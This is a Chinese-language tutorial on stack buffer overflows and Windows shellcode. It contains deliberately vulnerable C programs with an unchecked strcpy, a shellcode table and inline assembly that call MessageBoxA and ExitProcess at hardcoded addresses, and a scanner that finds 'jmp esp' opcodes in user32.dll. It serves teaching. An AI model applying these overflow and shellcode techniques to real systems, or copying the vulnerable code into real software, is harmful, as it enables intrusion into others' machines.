栈溢出原理与 shellcode 开发

#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];while(1){printf("please input password:");scanf("%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct\n");}else{printf("Congratulation\n");break;}}return 0;}
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];printf("%p\n",&buffer);authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];FILE *fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct password!\n");}else{printf("Congratulation\n");}fclose(fp);return 0;}


| 机器码 | 汇编 | 注释 |
| 33DB | XOR EBX, EBX | 压如NULL结尾的“failwest”字符串 |
| 53 | PUSH EBX | 之所以用EBX清零后入栈作为字符串的 |
| 6877657374 | PUSH 6877657374 | 截断符,是为了避免“PUSH 0”中的NULL |
| 686661696C | PUSH 686661696C | 否则植入的机器码会被strcpy函数截断 |
| 8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
| 53 | PUSH EBX | 4个参数按从右向左的顺序入栈 |
| 50 | PUSH EAX | 分别是(0,failwest,failwest,0) |
| 50 | PUSH EAX | |
| 53 | PUSH EBX | |
| B8EA07D577 | MOV EAX, 0x77D507EA | 调用MessageBoxA 不同的机器这里的函数入口 |
| FFD0 | CALL EAX | 地址不同 |
基地址+偏移地址 = MessageBoxA在内存中的入口地址

#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){BYTE* ptr;int position,address;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary(DLL_NAME);if(!handle){printf(" load dll erro !");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){//0xFFE4 is the opcode of jmp espint address = (int)ptr + postion;printf("OPCODE found at 0x%x\n",address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}return 0;}

#include<Windows.h>int main(){HINSTANCE LibHandle;char dllbuf[11] = "user32.dll";LibHandle = LoadLibrary(dllbuf);_asm{sub sp, 0x440xor ebx, ebxpush ebx //cut stringpush 0x74736577push 0x6C696166mov eax, esppush ebxpush eaxpush eaxpush ebxmov eax, 0x77D507EAcall eax //call MessageBoxApush ebxmov eax, 0x7C81CAFAcall eax //call exit(0)}}

33DB xor ebx,ebx53 push ebx68 77657374 push 0x7473657768 6661696C push 0x6C6961668BC4 mov eax,esp53 push ebx50 push eax50 push eax53 push ebxB8 EA07D577 mov eax,user32.MessageBoxAFFD0 call eax53 push ebxB8 FACA817C mov eax,kernel32.ExitProcessFFD0 call eax
栈溢出原理与 shellcode 开发的更多相关文章
- OAuth的机制原理讲解及开发流程
本想前段时间就把自己通过QQ OAuth1.0.OAuth2.0协议进行验证而实现QQ登录的心得及Demo实例分享给大家,可一直很忙,今天抽点时间说下OAuth1.0协议原理,及讲解下QQ对于Oaut ...
- Windows栈溢出原理
1.栈是什么? 栈是一种运算受限的线性表 其限制是仅允许在表的一端进行插入和删除运算 这一端称为栈顶(TOP),相对的另一端称为栈底(BASE) 向一个栈插入新元素,称作进栈.入栈或压栈(PUSH) ...
- Zookeeper原理和实战开发经典视频教程 百度云网盘下载
Zookeeper原理和实战开发 经典视频教程 百度云网盘下载 资源下载地址:http://pan.baidu.com/s/1o7ZjPeM 密码:r5yf
- Shellcode开发辅助工具shellnoob
Shellcode开发辅助工具shellnoob Shellcode开发的过程中会遇到很多繁杂的工作,如编译.反编译.调试等.为了减少这部分工作,Kali Linux提供了开发辅助工具shelln ...
- VR原理讲解及开发入门
本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和交互作用产生的原理: 在之前,我们观看一个虚拟的创造内容是通过平面显示器的,52VR ...
- [转]VR原理讲解及开发入门
本文转自:http://www.52vr.com/article-661-1.html 本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和 ...
- springboot深入学习(二)-----profile配置、运行原理、web开发
一.profile配置 通常企业级应用都会区分开发环境.测试环境以及生产环境等等.spring提供了全局profile配置的方式,使得在不同环境下使用不同的applicaiton.properties ...
- OAuth的机制原理讲解及开发流程(转)
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
- 【转载】OAuth的机制原理讲解及开发流程
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
随机推荐
- bzoj3876: [Ahoi2014&Jsoi2014]支线剧情
题意:给一幅图,从1开始,每条边有边权最少走一遍,可以在任意点退出,问最小花费 题解:上下界费用流,每个边都流一遍,然后为了保证流量平衡,新建源点汇点,跑费用流把流量平衡 /************* ...
- Leetcode 5016. 删除最外层的括号
5016. 删除最外层的括号 显示英文描述 我的提交返回竞赛 用户通过次数446 用户尝试次数469 通过次数456 提交次数577 题目难度Easy 有效括号字符串为空 ("&quo ...
- 函数使用十一:FTP
网上很多FTP说明的文档,也很详细,写这玩意是备份一下: 注:有的系统需要配置FTP地址和端口,有的好像没有... SM30->SAPFTP_SERVERS_V,默认端口21. 在做之前可以做个 ...
- 理解javascript封装
封装可以被定义为对对象的内部数据表现形式和实现细节进行隐藏.通过封装可以强制实施信息隐藏. 在JavaScript中,并没有显示的声明私有成员的关键字等.所以要想实现封装/信息隐藏就需要从另外的思路出 ...
- 再谈数据库优化(database tuning)的真谛和误区
当今各行业信息量呈现爆炸式增长,因此,数据库优化也就显得弥足重要.随着数据库性能问题的出现,每位用户为了解决出现的问题,不得不满网上到处搜索优化的”灵丹妙药“和捷径,于是,就出现了各种各样的条条框框和 ...
- Linux几种服务用处介绍
rexec--Remote Execute,远程命令执行,允许远程机器在本机上远程执行命令,监听端口512. nfs--Network File System,网络文件系统,用于将本机文件夹共享到别的 ...
- [转]java异常中Exception捕获不到的异常
一 概念 众所周知java提供了丰富的异常类,这些异常类之间有严格的集成关系,分类为 父类Throwable Throwable的两个子类Error和Exception Exception的两个子类C ...
- QT和JS的互相调用例子
转自: http://blog.163.com/qimo601@126/blog/static/15822093201682185819623/ Qt 4.8.4 感谢原作者,我只转载. 看看作者如何 ...
- PAT-GPLT训练集 L1-043 阅览室
PAT-GPLT训练集 L1-043 阅览室 注意:连续的S和E才算一次借还 代码: #include<iostream> #include<cstdio> using nam ...
- Daily record-July
July11. Nonsense! 胡说八道!2. Who cares! 谁管你呀!3. It's on me.. 我来付.4. It's a deal. 一言为定.5. I've done my b ...